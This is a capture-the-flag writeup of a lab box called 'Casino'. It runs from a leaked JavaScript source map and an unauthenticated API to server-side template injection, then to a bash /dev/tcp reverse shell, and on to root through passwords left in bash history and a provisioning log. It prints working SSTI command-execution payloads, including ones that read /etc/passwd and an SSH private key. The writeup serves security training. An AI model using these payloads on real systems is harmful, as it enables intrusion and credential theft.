Post

Casino - Medium Web + Linux Privilege Escalation CTF Writeup

Casino - Medium Web + Linux Privilege Escalation CTF Writeup

Casino was a fun medium-level challenge that combined web exploitation with Linux privilege escalation. I went from finding a hidden API endpoint → SSTI vulnerability → privilege escalation through plaintext credentials scattered across log files and bash history.

The Attack Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Port Scan → Web App on 80
  ↓
JavaScript Source Map → Hidden API
  ↓
Occupied Rooms Data → Guest Login
  ↓
Reflected Name Field → SSTI
  ↓
Command Execution → Read Creds
  ↓
SSH Private Key → Shell Access
  ↓
George's Bash History → David's Password
  ↓
David's Logs → Root Password
  ↓
Root Flag ✓

Step 1: Port Scanning

1
nmap -sC -sV 10.1.241.132 -vv -oA nmap/casino

Results:

1
2
3
4
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp   open  http    Werkzeug/3.1.8 Python/3.10.18
2222/tcp open  ssh     OpenSSH 8.4p1 Debian

Three ports open. Port 80 caught my eye immediately - Werkzeug means Python backend.The web app title was “Hack Smarter World - Guest WiFi & Portal” - a hotel/ISP guest portal.


Step 2: Directory Fuzzing (Dead End)

I tried fuzzing common directories:

1
2
3
ffuf -u http://10.1.241.132/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt:FUZZ \
  -recursion

Directory Fuzzing Results

Nothing useful came back. Time to dig deeper into the frontend.


Step 3: Failed Login Attempts

I tried random credentials on the login page.

Login Page

Error message: “Not reserved” - meaning the system checks if the guest name + room combo is actually in the reservation system.

Auth Failed

May be we can bruteforce if we have the correct wordlist for the guestLastName and roomNumber but I will not go there, I needed to find valid credentials or a different way in.


Step 4: The JavaScript Source Map Gold Mine

I opened Burp Suite and looked at the JavaScript files. Found app.min.js with some interesting functions, but more importantly…

App JS

At the bottom of the minified file:

1
//# sourceMappingURL=app.min.js.map

Source map files contain the original unminified source code - meant for developers to debug. Let me check if it’s publicly accessible:

Source Map Found

Bingo! The .map file was there and readable. Inside it I found this hidden endpoint:

1
/api/v1/rooms/status?status=occupied

Hidden API Endpoint

This was the key. Developers forgot to remove the source map from production. Always check for .map files!


Step 5: Leaking Guest Data from Unauthenticated API

I navigated directly to that API endpoint:

1
http://10.1.241.132/api/v1/rooms/status?status=occupied

Room Data Response

The API returned 100 occupied rooms with full guest details - names, room numbers, checkout dates, tier levels. No authentication needed!

One entry caught my eye:

1
2
3
4
guest_name  : Smith
room_number : 105
status      : occupied
tier        : Standard Guest

Let me try logging in with these credentials…

Login Success

It worked! I’m now logged in as James Smith, Room 105.

Dashboard Login


Step 6: SSTI in the Name Field

Inside the dashboard, I noticed the guest name “James Smith” was displayed on the page and there was a field to update it.

Dashboard with Name

Reflected user input + updateable field = immediately test for SSTI/XSS. Since we know it’s Python/Werkzeug.

Let me test basic SSTI payloads:

Test 1: Input {7*7}

  • Result: Shows as {7*7} (no execution)

Test 2: Input {{7*7}}

  • Result: Shows as 49 (SSTI confirmed!)

SSTI Test 1

SSTI Test 2

** SSTI confirmed!**


Step 7: Command Execution via SSTI

With SSTI confirmed, I escalated to RCE using the standard Python payload:

1
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Result:

1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I have code execution as www-data. Time to find credentials for privilege escalation.


Step 8: Reading /etc/passwd

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}

Etc Passwd

Two interesting users:

1
2
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash

Both have login shells. These are my targets for privilege escalation.


Step 9: Finding George’s SSH Private Key

Let me check for SSH keys:

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /home/george/.ssh/id_rsa').read() }}

George SSH Key

Got it! George’s SSH private key:

1
2
3
4
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gt
[...key content...]
-----END OPENSSH PRIVATE KEY-----

Step 10: Getting a Reverse Shell

Before using SSH, I wanted an interactive shell through the web app itself. I set up a listener:

1
nc -lvnp 4444

Then crafted a reverse shell payload. First attempt with base64 encoding failed (used wrong IP).

Reverse Shell Attempt 1

At first I got no callback. After a while I realized the mistake - I had used the lab IP instead of my VPN IP.

Wrong IP Error

Wrong IP Error 2

I corrected the IP to my VPN address and used the direct bash reverse shell payload instead:

1
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.200.82.206/4444 0>&1"').read()}}

Reverse Shell Attempt 2

Shell Received

Shell obtained!


Step 11: Getting the User Flag (George)

Now I had shell access as www-data. Let me read George’s home directory:

1
cat /home/george/*

First Flag

First flag captured!


Step 12: Checking BASH HISTORY FILE

  • Now I checked bash history from here:
1
cat /home/george/.bash_history

Bash History

Found David’s password in the history!

1
Password: DavidPass2026!#

Switching to David:

1
su david

Confirmed David

Confirmed:

1
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)

Step 13: Finding Root Password in Logs

David’s bash history was empty, so I couldn’t use the same trick. Time to look for log files. Checked /var/log/provisioning.log:

1
cat /var/log/provisioning.log

Log File Search

Found Log

Found it inside David’s area in /var/log. Reading it revealed the root password.

Provisioning Log

  • So at this point I found a password to become the root user.

Step 14: Becoming Root

1
su root

Entered the password from the log file. Confirmed with:

1
2
whoami
# root

Root Confirmed


Step 15: Root Flag

1
cat /root/root.txt

Root Flag

Root flag captured!


Attack Summary

StageMethodCredential Source
Initial FootholdSource map revealed APISource code exposure
Guest LoginAPI leaked reservation dataUnauthenticated endpoint
Code ExecutionSSTI via name fieldReflected input
Shell AccessReverse shell via SSTIRCE as www-data
User Pivot #1George’s SSH private keyRead via SSTI
User FlagRead /home/george/*File permissions
User Pivot #2David’s password in bash historyGeorge’s bash history
Root PivotRoot password in log fileDavid’s file access
Root Flagcat /root/root.txtRoot access

Key Lessons

1. Always Check for Source Maps

Source map files (.map) expose your original unminified code. Developers forget to remove them from production all the time. They’re a security researcher’s best friend.

2. Unauthenticated APIs are Dangerous

The /api/v1/rooms/status?status=occupied endpoint required zero authentication and leaked 100 guests’ full details. One API endpoint = game over.

3. Reflected Fields = SSTI/XSS Testing

Any user input that gets reflected on the page should be tested for injection. Knowing the backend tech (Werkzeug helped me pick the right payloads immediately.

4. Bash History is a Goldmine

Commands get saved to .bash_history in plaintext, including ones with passwords. Devs and sysadmins frequently run su or set credentials inline - massive security risk.

5. Log Files Leak Credentials

Provisioning scripts, deployment logs, and setup logs often store passwords “temporarily” for auditing. They get left readable long after they’re needed.

6. Double-Check Your Reverse Shell IP

Using the lab IP instead of my VPN IP wasted time. Always verify your connection details before sending shells.


Tools Used

  • nmap - Port scanning
  • ffuf - Directory fuzzing
  • Burp Suite - Intercepting requests and exploring app
  • nc - Reverse shell listener
  • SSH - Accessing the box as different users

Challenge Source: HACKSMARTER
Difficulty: Medium
Date Completed: Aug 17th, 2026
Writeup by: Rabin Gaire

Happy hacking!

This post is licensed under CC BY 4.0 by the author.